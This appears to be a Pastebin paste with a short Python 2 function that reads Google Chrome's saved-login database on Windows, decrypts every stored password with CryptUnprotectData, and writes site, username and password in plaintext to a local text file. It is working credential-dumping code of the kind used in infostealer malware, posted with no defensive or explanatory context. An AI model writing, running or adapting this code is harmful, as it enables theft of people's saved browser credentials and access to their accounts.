Advertisement
Guest User

Untitled

a guest
May 20th, 2016
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. def chrome():
  2. f = open("../passwords.txt", "w")
  3. conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
  4. cursor = conn.cursor()
  5. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  6. for result in cursor.fetchall():
  7. # Decrypt the Password
  8. password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  9. if password:
  10.  
  11. print >>f, 'Site: ' + result[0]
  12. print >>f, 'Username: ' + result[1]
  13. print >>f, 'Password: ' + password
  14.  
  15. f.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement